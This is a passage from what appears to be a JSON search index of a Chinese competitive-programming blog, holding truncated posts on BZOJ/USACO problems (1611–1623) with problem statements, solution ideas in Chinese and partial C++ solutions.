","date":"2016-04-03","externalUrl":null,"permalink":"/2016/04/bzoj1623/","section":"Posts","summary":"1623: [Usaco2008 Open]Cow Cars 奶牛飞车 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 386 Solved: 266 [Submit][Status][Discuss]","tags":["greedy"],"title":"BZOJ 1623: [Usaco2008 Open]Cow Cars 奶牛飞车 (贪心)","type":"post"},{"categories":["ACM"],"content":"1622: [Usaco2008 Open]Word Power 名字的能量 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 462 Solved: 228 [Submit][Status][Discuss] Description # 约翰想要计算他那N(1≤N≤1000)只奶牛的名字的能量．每只奶牛的名字由不超过1000个字待构成，没有一个名字是空字体串， 约翰有一张“能量字符串表”，上面有M(1≤M≤100)个代表能量的字符串．每个字符串由不超过30个字体构成，同样不存在空字符串．一个奶牛的名字蕴含多少个能量字符串，这个名字就有多少能量．所谓“蕴含”，是指某个能量字符串的所有字符都在名字串中按顺序出现（不一定一个紧接着一个）． 所有的大写字母和小写字母都是等价的．比如，在贝茜的名字“Bessie”里，蕴含有“Be” “sI”“EE”以及“Es”等等字符串，但不蕴含“lS”或“eB”．请帮约翰计算他的奶牛的名字的能量． Input # 第1行输入两个整数N和M，之后N行每行输入一个奶牛的名字，之后M行每行输入一个能量字符串． Output # 一共N行，每行一个整数，依次表示一个名字的能量． Sample Input # 5 3 Bessie Jonathan Montgomery Alicia Angola se nGo Ont INPUT DETAILS: There are 5 cows, and their names are “Bessie”, “Jonathan”, “Montgomery”, “Alicia”, and “Angola”. The 3 good strings are “se”, “nGo”, and “Ont”. Sample Output # 1 1 2 0 1 OUTPUT DETAILS: “Bessie” contains “se”, “Jonathan” contains “Ont”, “Montgomery” contains both “nGo” and “Ont”, Alicia contains none of the good strings, and “Angola” contains “nGo”. 思路：复杂度1E8..5S的时限。。。暴力。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 02时10分20秒 4File Name :code/bzoj/1622.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7","date":"2016-04-03","externalUrl":null,"permalink":"/2016/04/bzoj1622/","section":"Posts","summary":"1622: [Usaco2008 Open]Word Power 名字的能量 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 462 Solved: 228 [Submit][Status][Discuss]","tags":["brute force"],"title":"BZOJ 1622: [Usaco2008 Open]Word Power 名字的能量 (暴力)","type":"post"},{"categories":["ACM"],"content":"1621: [Usaco2008 Open]Roads Around The Farm分岔路口 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 698 Solved: 513 [Submit][Status][Discuss] Description # 约翰的N(1≤N≤1,000,000,000)只奶牛要出发去探索牧场四周的土地．她们将沿着一条路走，一直走到三岔路口（可以认为所有的路口都是这样的）．这时候，这一群奶牛可能会分成两群，分别沿着接下来的两条路继续走．如果她们再次走到三岔路口，那么仍有可能继续分裂成两群继续走． 奶牛的分裂方式十分古怪：如果这一群奶牛可以精确地分成两部分，这两部分的牛数恰好相差K(1≤K≤1000)，那么在三岔路口牛群就会分裂．否则，牛群不会分裂，她们都将在这里待下去，平静地吃草． 请计算，最终将会有多少群奶牛在平静地吃草． Input # 两个整数N和K. Output # 最后的牛群数． Sample Input # 6 2 INPUT DETAILS: There are 6 cows and the difference in group sizes is 2. Sample Output # 3 OUTPUT DETAILS: There are 3 final groups (with 2, 1, and 3 cows in them). 6 / 2 4 / 1 3 HINT # 6只奶牛先分成2只和4只．4只奶牛又分成1只和3只．最后有三群奶牛． 思路;可分的条件是n\u003e=k+2并且n和k的奇偶性相同。dfs即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 01时49分36秒 4File Name :code/bzoj/1621.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,k; 34int ans; 35 36int dfs( int n,int k) 37{ 38 // cout\u003c\u003c\"n:\"\u003c\u003cn\u003c\u003c\" k:\"\u003c\u003ck\u003c\u003cendl; 39 if ((n+k)%2==1) return 1; 40 if (n\u003ck+2) return 1; 41 int res = dfs((n+k)/2,k)+dfs((n-k)/2,k); 42 return res; 43} 44int main() 45{ 46 #ifndef ONLINE_JUDGE 47 freopen(\"code/in.txt\",\"r\",stdin); 48 #endif 49 c","date":"2016-04-03","externalUrl":null,"permalink":"/2016/04/bzoj1621/","section":"Posts","summary":"1621: [Usaco2008 Open]Roads Around The Farm分岔路口 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 698 Solved: 513 [Submit][Status][Discuss]","tags":["dfs"],"title":"BZOJ1621: [Usaco2008 Open]Roads Around The Farm分岔路口 (DFS)","type":"post"},{"categories":["ACM"],"content":"1620: [Usaco2008 Nov]Time Management 时间管理 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 636 Solved: 387 [Submit][Status][Discuss] Description # Ever the maturing businessman, Farmer John realizes that he must manage his time effectively. He has N jobs conveniently numbered 1..N (1 \u003c= N \u003c= 1,000) to accomplish (like milking the cows, cleaning the barn, mending the fences, and so on). To manage his time effectively, he has created a list of the jobs that must be finished. Job i requires a certain amount of time T_i (1 \u003c= T_i \u003c= 1,000) to complete and furthermore must be finished by time S_i (1 \u003c= S_i \u003c= 1,000,000). Farmer John starts his day at time t=0 and can only work on one job at a time until it is finished. Even a maturing businessman likes to sleep late; help Farmer John determine the latest he can start working and still finish all the jobs on time. N个工作,每个工作其所需时间,及完成的Deadline,问要完成所有工作,最迟要什么时候开始. Input # Line 1: A single integer: N Lines 2..N+1: Line i+1 contains two space-separated integers: T_i and S_i Output # Line 1: The latest time Farmer John can start working or -1 if Farmer John cannot finish all the jobs on time. Sample Input # 4 3 5 8 14 5 20 1 16 INPUT DETAILS: Farmer John has 4 jobs to do, which take 3, 8, 5, and 1 units of time, respectively, and must be completed by time 5, 14, 20, and 16, respectively. Sample Output # 2 OUTPUT DETAILS: Farmer John must start the first job at time 2. Then he can do the second, fourth, and third jobs in that order to finish on time. 思路：贪心。一眼题。5分钟A掉，爽。 按照s[i]排序，然后完成前i个任务的最晚开始时间为 s[i]-sum ，sum为t[1]+…+t[i].. 如果ans\u003c0,说明无法完成，赋值为-1. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月04日 星期一 01时36分31秒 4File Name :code/bzoj/1620.cpp 5************************************************ */","date":"2016-04-03","externalUrl":null,"permalink":"/2016/04/bzoj-1620/","section":"Posts","summary":"1620: [Usaco2008 Nov]Time Management 时间管理 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 636 Solved: 387 [Submit][Status][Discuss]","tags":["greedy"],"title":"BZOJ 1620: [Usaco2008 Nov]Time Management 时间管理 (贪心)","type":"post"},{"categories":["ACM"],"content":"1619: [Usaco2008 Nov]Guarding the Farm 保卫牧场 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 661 Solved: 292 [Submit][Status][Discuss] Description # The farm has many hills upon which Farmer John would like to place guards to ensure the safety of his valuable milk-cows. He wonders how many guards he will need if he wishes to put one on top of each hill. He has a map supplied as a matrix of integers; the matrix has N (1 \u003c N \u003c= 700) rows and M (1 \u003c M \u003c= 700) columns. Each member of the matrix is an altitude H_ij (0 \u003c= H_ij \u003c= 10,000). Help him determine the number of hilltops on the map. A hilltop is one or more adjacent matrix elements of the same value surrounded exclusively by either the edge of the map or elements with a lower (smaller) altitude. Two different elements are adjacent if the magnitude of difference in their X coordinates is no greater than 1 and the magnitude of differences in their Y coordinates is also no greater than 1. 农夫JOHN的农夫上有很多小山丘，他想要在那里布置一些保镖（……）去保卫他的那些相当值钱的奶牛们。 他想知道如果在一座小山丘上布置一名保镖的话，他总共需要招聘多少名保镖。他现在手头有一个用数字矩阵来表示地形的地图。这个矩阵有N行（1 \u003c N \u003c = 100)和M列( 1 \u003c M \u003c = 70) 。矩阵中的每个元素都有一个值H_ij(0 \u003c = H_ij \u003c =10,000)来表示该地区的海拔高度。请你帮助他统计出地图上到底有多少个小山丘。 小山丘的定义是：若地图中一个元素所邻接的所有元素都比这个元素高度要小（或它邻接的是地图的边界），则该元素和其周围所有按照这样顺序排列的元素的集合称为一个小山丘。这里邻接的意义是：若一个元素与另一个横坐标纵坐标和它的横纵坐标相差不超过1，则称这两个元素邻接。 问题名称：guard 输入格式： 第一行：两个由空格隔开的整数N和M 第二行到第N+1行：第I+1行描述了地图上的第I行，有M个由空格隔开的整数：H_ij. Input # Line 1: Two space-separated integers: N and M Lines 2..N+1: Line i+1 describes row i of the matrix with M space-separated integers: H_ij Output # Line 1: A single integer that specifies the number of hilltops Sample Input # 8 7 4 3 2 2 1 0 1 3 3 3 2 1 0 1 2 2 2 2 1 0 0 2 1 1 1 1 0 0 1 1 0 0 0 1 0 0 0 0 1 1 1 0 0 1 2 2 1 1 0 0 1 1 1 2 1 0 Sample Output # 3 HINT # 三个山丘分别是：左上角的高度为4的方格，右上角的高度为1的方格，还有最后一行中高度为2的方","date":"2016-04-03","externalUrl":null,"permalink":"/2016/04/bzoj1619-usaco2008-novguarding-the-farm--bfs/","section":"Posts","summary":"1619: [Usaco2008 Nov]Guarding the Farm 保卫牧场 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 661 Solved: 292 [Submit][Status][Discuss]","tags":["bfs","dfs"],"title":"BZOJ1619: [Usaco2008 Nov]Guarding the Farm 保卫牧场 （BFS）","type":"post"},{"categories":["ACM"],"content":"1618: [Usaco2008 Nov]Buying Hay 购买干草 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 906 Solved: 456 [Submit][Status][Discuss] Description # 约翰的干草库存已经告罄，他打算为奶牛们采购日(1≤日≤50000)磅干草． 他知道N(1≤N≤100)个干草公司，现在用1到N给它们编号．第i个公司卖的干草包重量为Pi(1≤Pi≤5000)磅，需要的开销为Ci(l≤Ci≤5000)美元．每个干草公司的货源都十分充足，可以卖出无限多的干草包． 帮助约翰找到最小的开销来满足需要，即采购到至少H磅干草． Input # 第1行输入N和日，之后N行每行输入一个Pi和Ci． Output # 最小的开销． Sample Input # 2 15 3 2 5 3 Sample Output # 9 FJ can buy three packages from the second supplier for a total cost of 9. 思路：完全背包。。。注意是买至少V,可以超过。我的做法是算了两倍，然后取最小值（V..2V) 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月03日 星期日 19时40分29秒 4File Name :code/bzoj/1618.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int p[N],c[N]; 35int n; 36int V; 37int dp[1000005]; 38 39void solve (int val,int cost) 40{ 41 for ( int i = value ; i \u003c= V ; i++) 42 dp[i] = min(dp[i],dp[i-value]+cost); 43} 44int main() 45{ 46 #ifndef ONLINE_JUDGE 47 freopen(\"code/in.txt\",\"r\",stdin); 48 #endif 49 cin\u003e\u003en\u003e\u003eV; 50 V*=2; 51 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ep[i]\u003e\u003ec[i]; 52 53 ms(dp,0x3f); 54 dp[0]=0; 55 for ( int i = 1 ; i \u003c= n ; i++) solve(p[i],c[i]); 56 int ans = inf; 57 for ( int i = 1","date":"2016-04-03","externalUrl":null,"permalink":"/2016/04/bzoj-1618-usaco2008-novbuying-hay--/","section":"Posts","summary":"1618: [Usaco2008 Nov]Buying Hay 购买干草 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 906 Solved: 456 [Submit][Status][Discuss]","tags":["dp","完全背包"],"title":"BZOJ 1618: [Usaco2008 Nov]Buying Hay 购买干草 (完全背包)","type":"post"},{"categories":["ACM"],"content":"1617: [Usaco2008 Mar]River Crossing渡河问题 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 837 Solved: 606 [Submit][Status][Discuss] Description # Farmer John以及他的N(1 \u003c= N \u003c= 2,500)头奶牛打算过一条河，但他们所有的渡河工具，仅仅是一个木筏。 由于奶牛不会划船，在整个渡河过程中，FJ必须始终在木筏上。在这个基础上，木筏上的奶牛数目每增加1，FJ把木筏划到对岸就得花更多的时间。 当FJ一个人坐在木筏上，他把木筏划到对岸需要M(1 \u003c= M \u003c= 1000)分钟。当木筏搭载的奶牛数目从i-1增加到i时，FJ得多花M_i(1 \u003c= M_i \u003c= 1000)分钟才能把木筏划过河（也就是说，船上有1头奶牛时，FJ得花M+M_1分钟渡河；船上有2头奶牛时，时间就变成M+M_1+M_2分钟。后面的依此类推）。那么，FJ最少要花多少时间，才能把所有奶牛带到对岸呢？当然，这个时间得包括FJ一个人把木筏从对岸划回来接下一批的奶牛的时间。 Input # 第1行: 2个用空格隔开的整数：N 和 M 第2..N+1行: 第i+1为1个整数：M_i Output # 第1行: 输出1个整数，为FJ把所有奶牛都载过河所需的最少时间 Sample Input # 5 10 3 4 6 100 1 输入说明: FJ带了5头奶牛出门。如果是单独把木筏划过河，FJ需要花10分钟，带上 1头奶牛的话，是13分钟，2头奶牛是17分钟，3头是23分钟，4头是123分钟，将 5头一次性载过去，花费的时间是124分钟。 Sample Output # 50 HINT # 输出说明: Farmer John第一次带3头奶牛过河（23分钟），然后一个人划回来 （10分钟），最后带剩下的2头奶牛一起过河（17分钟），总共花费的时间是 23+10+17 = 50分钟。 题意：有n头奶牛要过河，Fj过河的代价为M,FJ每多带一直奶牛，代价就要相应增加m[i],i为新带的这只奶牛是这一批的第几只。问所有奶牛以及FJ全部过河的最小代价。 思路：一开始觉得是贪心，想了一下发现好像没法贪心，应该是dp… dp维数和循环次数无关。比如O(N2)求LIS也是一维的dp方程啊。。。 然后我就想歪了QAQ. 其实的确不难。 dp[i]表示把前i头奶牛送到对岸的最小代价。 转移方程 dp[i] = min(dp[i],dp[i-j]+M+sum[j]) (1=\u003cj\u003c=i) 初始条件为：dp[i]=inf(i!=0) dp[0]=0; sum[i]表示送i只奶牛过河的代价，前缀和预处理下。注意sum[0]=M,表示算上FJ的代价。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月03日 星期日 16时17分03秒 4File Name :code/bzoj/1617.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int","date":"2016-04-03","externalUrl":null,"permalink":"/2016/04/bzoj1617/","section":"Posts","summary":"1617: [Usaco2008 Mar]River Crossing渡河问题 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 837 Solved: 606 [Submit][Status][Discuss]","tags":["dp"],"title":"BZOJ 1617: [Usaco2008 Mar]River Crossing渡河问题 (DP)","type":"post"},{"categories":["ACM"],"content":"1616: [Usaco2008 Mar]Cow Travelling游荡的奶牛 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1012 Solved: 553 [Submit][Status][Discuss] Description # 奶牛们在被划分成N行M列(2 \u003c= N \u003c= 100; 2 \u003c= M \u003c= 100)的草地上游走，试图找到整块草地中最美味的牧草。Farmer John在某个时刻看见贝茜在位置 (R1, C1)，恰好T (0 \u003c T \u003c= 15)秒后，FJ又在位置(R2, C2)与贝茜撞了正着。 FJ并不知道在这T秒内贝茜是否曾经到过(R2, C2)，他能确定的只是，现在贝茜在那里。 设S为奶牛在T秒内从(R1, C1)走到(R2, C2)所能选择的路径总数，FJ希望有一个程序来帮他计算这个值。每一秒内，奶牛会水平或垂直地移动1单位距离（奶牛总是在移动，不会在某秒内停在它上一秒所在的点）。草地上的某些地方有树，自然，奶牛不能走到树所在的位置，也不会走出草地。 现在你拿到了一张整块草地的地形图，其中’.‘表示平坦的草地，’*‘表示挡路的树。你的任务是计算出，一头在T秒内从(R1, C1)移动到(R2, C2)的奶牛可能经过的路径有哪些。 Input # 第1行: 3个用空格隔开的整数：N，M，T 第2..N+1行: 第i+1行为M个连续的字符，描述了草地第i行各点的情况，保证 字符是’.‘和’*‘中的一个 * 第N+2行: 4个用空格隔开的整数：R1，C1，R2，以及C2 Output # 第1行: 输出S，含义如题中所述 Sample Input # 4 5 6 …. …. ….. ….. 1 3 1 5 输入说明: 草地被划分成4行5列，奶牛在6秒内从第1行第3列走到了第1行第5列。 Sample Output # 1 奶牛在6秒内从(1,3)走到(1,5)的方法只有一种（绕过她面前的树）。 题意：有一直奶牛0时刻在(c1,r1),T时刻在(c2,r2)，问路径数。奶牛不能出界，不能静止不动。地图上有一些格子是树，也是不能经过的。 思路：能想到是dp,也能想到转移方程是dp[i][j][t]表示t时刻在（i,j）点的路径数。 也能想到初始化是dp[r1][c1][0]=1,其余为0. 也能想到转移方程是从上一个时间的四个相邻方向转移过来。 也能想到根据加法原理，t时间某点的方案数是t-1时间与这点相邻的点的方案数相加。 但是写转移方程的时候还是没有写出来QAQ 被初始是在dp[r1][c1][0]这一点卡住了。。 以为不能用循环写。。。大概要用dfs记忆化搜索之类。。。？ 然后写了写，没写出来QAQ. 但是其实是可以用的。 还有一点就是dp数组的顺序不代表循环的顺序。。。 dp数组的顺序其实怎么样都好。 循环的顺序。。。大概有点感觉，但是还没有很清晰，感觉和floyd比较类似？ floyd k,i,j的顺序是因为当某一点作为中间点，要更新所有能更新的。 这道题 t,i,j有点类似？ t时刻要更新所有点的路径数。。。？ 还需要多做些dp来领悟下呢。 ` 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月03日 星期日 14时39分21秒 4File Name :code/bzoj/1616.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec ","date":"2016-04-03","externalUrl":null,"permalink":"/2016/04/bzoj1616/","section":"Posts","summary":"1616: [Usaco2008 Mar]Cow Travelling游荡的奶牛 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1012 Solved: 553 [Submit][Status][Discuss]","tags":["dp"],"title":"BZOJ 1616: [Usaco2008 Mar]Cow Travelling游荡的奶牛(DP)","type":"post"},{"categories":["ACM"],"content":"1613: [Usaco2007 Jan]Running贝茜的晨练计划 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1468 Solved: 706 [Submit][Status][Discuss] Description # 奶牛们打算通过锻炼来培养自己的运动细胞，作为其中的一员，贝茜选择的运动方式是每天进行N(1 \u003c= N \u003c= 10,000)分钟的晨跑。在每分钟的开始，贝茜会选择下一分钟是用来跑步还是休息。 贝茜的体力限制了她跑步的距离。更具体地，如果贝茜选择在第i分钟内跑步，她可以在这一分钟内跑D_i(1 \u003c= D_i \u003c= 1,000)米，并且她的疲劳度会增加 1。不过，无论何时贝茜的疲劳度都不能超过M(1 \u003c= M \u003c= 500)。如果贝茜选择休息，那么她的疲劳度就会每分钟减少1，但她必须休息到疲劳度恢复到0为止。在疲劳度为0时休息的话，疲劳度不会再变动。晨跑开始时，贝茜的疲劳度为0。 还有，在N分钟的锻炼结束时，贝茜的疲劳度也必须恢复到0，否则她将没有足够的精力来对付这一整天中剩下的事情。 请你计算一下，贝茜最多能跑多少米。 Input # 第1行: 2个用空格隔开的整数：N 和 M 第2..N+1行: 第i+1为1个整数：D_i Output # 第1行: 输出1个整数，表示在满足所有限制条件的情况下，贝茜能跑的最大 距离 Sample Input # 5 2 5 3 4 2 10 Sample Output # 9 输出说明: 贝茜在第1分钟内选择跑步（跑了5米），在第2分钟内休息，在第3分钟内跑 步（跑了4米），剩余的时间都用来休息。因为在晨跑结束时贝茜的疲劳度必须 为0，所以她不能在第5分钟内选择跑步。 题意：一个人第i分钟可以选择跑步或者休息，如果跑步可以跑d[i]米，疲劳度+1，如果休息疲劳度-1，但是一旦开始休息必须休息到疲劳度为0，疲劳度为0以后再休息疲劳度仍然为0，初始疲劳度为0，问n分钟最多跑多远。 思路：看出了是dp,想到了dp[i][j]的含义是i分钟疲劳度为j时能跑的最远距离。。但是看漏了“一旦开始休息必须休息到疲劳度为0”这个条件。。。 然后再之前的基础上改。。没改出来。。SAD… 的确是道很简单的dp.. 转移方程为： dp[i][0]=dp[i-1][0] //第i分钟一定可以不走。。。 dp[i][j] = max(dp[i][0],dp[i-j][j])(i\u003e=j) //表示从i-j分钟休息，一直休息到第i分钟，使疲劳从j减小到0. dp[i][j] = max(dp[i][j],dp[i-1][j-1]+d[i]) //表示第i分钟跑步。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月02日 星期六 16时08分47秒 4File Name :code/bzoj/1613.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using name","date":"2016-04-02","externalUrl":null,"permalink":"/2016/04/bzoj1613/","section":"Posts","summary":"1613: [Usaco2007 Jan]Running贝茜的晨练计划 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1468 Solved: 706 [Submit][Status][Discuss]","tags":["dp"],"title":"BZOJ 1613: [Usaco2007 Jan]Running贝茜的晨练计划 (dp)","type":"post"},{"categories":["ACM"],"content":"1612: [Usaco2008 Jan]Cow Contest奶牛的比赛 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 900 Solved: 597 [Submit][Status][Discuss] Description # FJ的N(1 \u003c= N \u003c= 100)头奶牛们最近参加了场程序设计竞赛:)。在赛场上，奶牛们按1..N依次编号。每头奶牛的编程能力不尽相同，并且没有哪两头奶牛的水平不相上下，也就是说，奶牛们的编程能力有明确的排名。 整个比赛被分成了若干轮，每一轮是两头指定编号的奶牛的对决。如果编号为A的奶牛的编程能力强于编号为B的奶牛(1 \u003c= A \u003c= N; 1 \u003c= B \u003c= N; A != B) ，那么她们的对决中，编号为A的奶牛总是能胜出。 FJ想知道奶牛们编程能力的具体排名，于是他找来了奶牛们所有 M(1 \u003c= M \u003c= 4,500)轮比赛的结果，希望你能根据这些信息，推断出尽可能多的奶牛的编程能力排名。比赛结果保证不会自相矛盾。 Input # 第1行: 2个用空格隔开的整数：N 和 M 第2..M+1行: 每行为2个用空格隔开的整数A、B，描述了参加某一轮比赛的奶 牛的编号，以及结果（编号为A，即为每行的第一个数的奶牛为 胜者） Output # 第1行: 输出1个整数，表示排名可以确定的奶牛的数目 Sample Input # 5 5 4 3 4 2 3 2 1 2 2 5 Sample Output # 2 输出说明: 编号为2的奶牛输给了编号为1、3、4的奶牛，也就是说她的水平比这3头奶 牛都差。而编号为5的奶牛又输在了她的手下，也就是说，她的水平比编号为5的 奶牛强一些。于是，编号为2的奶牛的排名必然为第4，编号为5的奶牛的水平必 然最差。其他3头奶牛的排名仍无法确定。 题意：给出m场比赛结果，问能确定多少头奶牛的排名。 思路：容易联想到拓扑排序。。。然而并不对。。其实这题之前做过。。。能确定一头奶牛的条件是，知道它和其他n-1头奶牛的关系，被打败或者打败都可以…由于n才100,直接floyd,传递闭包。 同poj 3660 poj3660解题报告 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月02日 星期六 15时20分50秒 4File Name :code/bzoj/1612.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34int d[N][N]; 35int n,m; 36 37int main() 38{ 39 #ifndef ONL","date":"2016-04-02","externalUrl":null,"permalink":"/2016/04/bzoj1612/","section":"Posts","summary":"1612: [Usaco2008 Jan]Cow Contest奶牛的比赛 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 900 Solved: 597 [Submit][Status][Discuss]","tags":["floyd","传递闭包"],"title":"BZOJ 1612: [Usaco2008 Jan]Cow Contest奶牛的比赛(floyd,传递闭包)","type":"post"},{"categories":["ACM"],"content":"1611: [Usaco2008 Feb]Meteor Shower流星雨 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1239 Solved: 537 [Submit][Status][Discuss] Description # 去年偶们湖南遭受N年不遇到冰冻灾害，现在芙蓉哥哥则听说另一个骇人听闻的消息： 一场流星雨即将袭击整个霸中，由于流星体积过大，它们无法在撞击到地面前燃烧殆尽， 届时将会对它撞到的一切东西造成毁灭性的打击。很自然地，芙蓉哥哥开始担心自己的 安全问题。以霸中至In型男名誉起誓，他一定要在被流星砸到前，到达一个安全的地方 （也就是说，一块不会被任何流星砸到的土地）。如果将霸中放入一个直角坐标系中， 芙蓉哥哥现在的位置是原点，并且，芙蓉哥哥不能踏上一块被流星砸过的土地。根据预 报，一共有M颗流星(1 \u003c= M \u003c= 50,000)会坠落在霸中上，其中第i颗流星会在时刻 T_i (0 \u003c= T_i \u003c= 1,000)砸在坐标为(X_i, Y_i) (0 \u003c= X_i \u003c= 300；0 \u003c= Y_i \u003c= 300) 的格子里。流星的力量会将它所在的格子，以及周围4个相邻的格子都化为焦土，当然 芙蓉哥哥也无法再在这些格子上行走。芙蓉哥哥在时刻0开始行动，它只能在第一象限中， 平行于坐标轴行动，每1个时刻中，她能移动到相邻的（一般是4个）格子中的任意一个， 当然目标格子要没有被烧焦才行。如果一个格子在时刻t被流星撞击或烧焦，那么芙蓉哥哥 只能在t之前的时刻在这个格子里出现。请你计算一下，芙蓉哥哥最少需要多少时间才能到 达一个安全的格子。 Input # 第1行: 1个正整数：M * 第2..M+1行: 第i+1行为3个用空格隔开的整数：X_i，Y_i，以及T_i Output # 输出1个整数，即芙蓉哥哥逃生所花的最少时间。如果芙蓉哥哥无论如何都无法在流星雨中存活下来，输出-1 Sample Input # 4 0 0 2 2 1 2 1 1 2 0 3 5 输入说明: 一共有4颗流星将坠落在霸中，它们落地点的坐标分别是(0, 0)，(2, 1)，(1, 1) 以及(0, 3)，时刻分别为2，2，2，5。 Sample Output # 5 HINT # 样例图示 题意：会有m颗流行，第i颗流行会在t[i]时刻砸到(x[i],y[i])点，砸到的点以及其相邻的四个点都会被烧焦。一个人从（0,0）出发，每次只能走到相邻的四个格子，并且只能走没有被烧焦的格子。问最少要多久才能走到一个安全的地方。 思路：bfs…先用一个数组star[x][y]表示格子(x,y)被烧焦的时间，初始为inf,表示没有被烧焦。 